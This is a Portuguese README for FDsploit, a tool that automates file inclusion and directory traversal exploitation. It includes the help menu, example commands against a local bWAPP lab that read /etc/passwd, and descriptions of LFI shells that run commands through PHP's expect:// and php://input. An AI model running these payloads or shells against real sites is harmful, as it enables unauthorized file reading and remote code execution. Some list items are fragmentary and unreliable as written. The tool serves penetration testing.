
Ferramenta de fuzzing, enumeração e exploração de File Inclusion & Directory Traversal.
FDsploit menu:
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
FDsploit pode ser usado para descobrir e explorar automaticamente vulnerabilidades de Inclusão de Arquivo Local/Remoto (LFI/RFI) e directory traversal. Caso uma vulnerabilidade LFI seja encontrada, a opção --lfishell pode ser usada para explorá-la. Por enquanto, 3 tipos diferentes de shells LFI são suportados:
simple: Este tipo de shell permite ao usuário ler arquivos facilmente sem precisar digitar a url toda vez. Também fornece apenas a saída do arquivo e não todo o código-fonte HTML da página, o que o torna muito útil.expect: Este tipo de shell é um shell semi-interativo que permite ao usuário executar comandos através do wrapper expect:// do PHP.input: Este tipo de shell é um shell semi-interativo que também permite ao usuário executar comandos através do stream php://input do PHP.Até agora, existem apenas dois comandos internos do lfi-shell:
clear eexit.*).A partir da saída abaixo, parece que o parâmetro directory é provavelmente vulnerável a directory traversal, já que cada requisição com ../ como payload produz um hash sha-256 diferente. Além disso, o content-length é diferente para cada requisição:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
Novamente, o parâmetro language parece vulnerável a LFI, já que usando ../etc/passwd etc.. como payload, cada requisição colorida de verde produz um hash diferente, um content-length diferente do inicial, e a palavra-chave especificada é encontrada na resposta:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
Explorando o LFI acima usando o shell simple:
POST é usado, a opção --params também deve ser especificada.--payload deve ser deixada com o valor padrão (None).--file é usada para testar múltiplas URLs, apenas a requisição GET é suportada.--file e --cookie são definidas, como apenas um cookie pode ser especificado por vez, as URLs devem referir-se ao mesmo domínio ou ser acessíveis sem cookie (isso será corrigido em uma atualização futura).input não é compatível com o verbo POST.Nota: Para instalar os requisitos:
pip install -r requirements.txt --upgrade --user
💡 FDsploit também vem pré-instalado na distribuição BlackArch Linux.
--file funcione também com parâmetros POST e cookies, usando provavelmente um arquivo json etc... como entrada.--lfishell, por exemplo, history etc...Feedbacks e contribuições são bem-vindos. Se você encontrar algum bug ou tiver uma solicitação de funcionalidade, sinta-se à vontade para abrir uma issue e, assim que eu revisar, tentarei corrigi-lo!
Esta ferramenta é apenas para fins de teste e acadêmicos e só pode ser usada onde houver consentimento explícito. Não a use para fins ilegais! É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido ou danos causados por esta ferramenta e software em geral.
Este projeto está licenciado sob a Licença GPLv3 - consulte o arquivo LICENSE para obter detalhes.